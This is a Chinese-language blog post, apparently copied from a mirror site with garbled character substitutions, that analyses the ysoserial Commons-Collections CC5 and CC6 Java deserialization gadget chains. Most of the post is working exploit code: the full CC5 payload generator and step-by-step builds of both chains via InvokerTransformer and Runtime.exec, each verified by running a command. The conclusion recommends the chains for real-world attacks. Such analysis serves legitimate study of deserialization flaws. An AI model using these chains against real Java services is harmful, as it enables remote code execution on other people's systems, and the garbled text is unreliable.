YsoSerial 工具经常使用Payload分析之CC五、6(三)

前言

这是common-collections 反序列化的第三篇文章,此次分析利用链CC5和CC6,先看下Ysoserial CC5 payload:java

public BadAttributeValueExpException getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}

前面到LazyMap这一段咱们已经很是熟悉了,恶意的Transform放到了LazyMap中,只要有其余地方调用LazyMap的get()方法便可触发恶意Transform。app

image-20210728151433001

经过IDEA的Find Usages功能,能够看到有上千个地方有对lazymap调用,而YsoSerial CC5选择了TiedMapEntry。code

image-20210728152718115

TiedMapEntry

为何CC5 选择使用TiedMapEntry呢,看一下TiedMapEntry的源码,其中getValue()有对map调用get()方法,那getValue()就能触发代码执行,捎带的本类中还有equalshashCodetoString 有调用getValue,也就是说在TiedMapEntry 能触发代码执行的有 equalshashCodetoStringgetValue这四个方法,其中toString和equals 某些场景下可以被隐式调用。orm

image-20210728153809441

image-20210728153825744

image-20210728153841450

利用链挖掘

将恶意类绑定到TiedMapEntry后,由于能够触发的方法变多了,同时特别是toString和equel方法更加通用因此,只要找到一个类知足如下条件,那RCE就能完成了:继承

  1. 该类有继承能够被序列化标志的Serializable接口,或者其父类有继承Serializable
  2. 该类的readObject方法中有调用可控变量的toStringequelhashCodegetValue

知足这两个条件其实有不少,对应的分别有接口

  • 调用toString的BadAttributeValueExpException 对应CC5rem

  • 调用hashcode的HashMap,对应CC6get

1、BadAttributeValueExpException(CC5)

先来分析下CC5的BadAttributeValueExpException,打开源码定位readObject,很是明显,有对序列化变量val的toString()操做。cmd

image-20210728161114637

看一下这个val长啥样:源码

image-20210728161253256

val是一个Object类型的私有化变量,那思路就很清晰,只要把咱们构造的TiedMapEntry 经过反射赋值给val便可。

实操

第一步 构造恶意的LazyMap

//  第一步 构造恶意lazyMap
        String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<String,String> hashMap = new HashMap<>();
        hashMap.put("testKey","testVal");
        Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

第二步 构造恶意的TiedMapEntry

// 第二步 构造恶意的 TiedMapEntry
        TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "9eek");

第三步 构造利用类 BadAttributeValueExpException

这里有个细节,虽然可以直接经过构造方法赋值给val,但在构造方法中有对入参作toString操做,那获得的val就是String而不是map了,因此只能经过反射的方式去赋值给val

image-20210728162914358

// 第三步 构造 BadAttributeValueExpException
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
        ReflectUtils.setFields(badAttributeValueExpException,"val",tiedMapEntry);

第四步 反序列化验证

// 第四步 反序列化验证
        String path =  ExpUtils.serialize(badAttributeValueExpException);
        ExpUtils.unserialize(path);

执行一下,命令成功执行:

image-20210728163056461

HashMap

上面以BadAttributeValueExpException做为利用,下面看一下HashMap#readObject的源码,HashMap中有对反序列化的key值作hash操做:

image-20210728163524416

跟进一下hash(),调用了key的hashCode()方法,结合咱们对TiedMapEntry的分析,这里只要将key赋值为TiedMapEntry,在反序列化时便可完成RCE。

image-20210728163804360

实操

第一步 构造恶意TiedMapEntry

这里有一点和前面不同,传递给chainedTransformer的是一个 new ConstantTransformer(1) 至关于空操做的fakeTransformer,这是为了不后面在hashmap在put时会执行代码。

//  第一步 构造恶意 tiedMapEntry
        String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };
        Transformer[] fakeTransformer = new Transformer[]{
                new ConstantTransformer(1)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
        HashMap<String,String> hashMap = new HashMap<>();
        hashMap.put("testKey","testVal");
        Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "entryKey");

第二步 绑定到hashmap上

Map mapStringHashMap = new HashMap<>();
 mapStringHashMap.put(tiedMapEntry,"outerKey");

第三步 移除第一个hashmap的entryKey

这里能够想一下为何要这么操做。

由于HashMap不光在readobject时会执行hash操做,在put的时候也会计算hash,这样put的时候第一个hashmap就已经生成entryKey的key了,而在反序列化的时候系统判断存在就不会再执行transform方法,也就不会触发代码执行。

image-20210728201256462

其实这里为何在已经传递给tiedMapEntry后还能修改第一个hashmap并生效也说明了,Java中传递给TiedMapEntry只是一个引用,能够在外面进行修改。

evilMap.remove("entryKey");

第四步 把恶意的transfomer经过反射从新赋值给chainedTransformer并反序列化验证

ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
        String path = ExpUtils.serialize(mapStringHashMap);
        ExpUtils.unserialize(path);

执行结果:

image-20210728201649306

总结

本篇文章在前文LazyMap的基础上进一步经过TiedMapEntry封装,从而带来了CC5与CC6的反序列化利用链,值得说明的是,CC五、CC6目前没有版本限制,执行很是通用,我在最近的JDK1.8.261下都能成功运行,是在实战中比较好利用的链。

相关文章
相关标签/搜索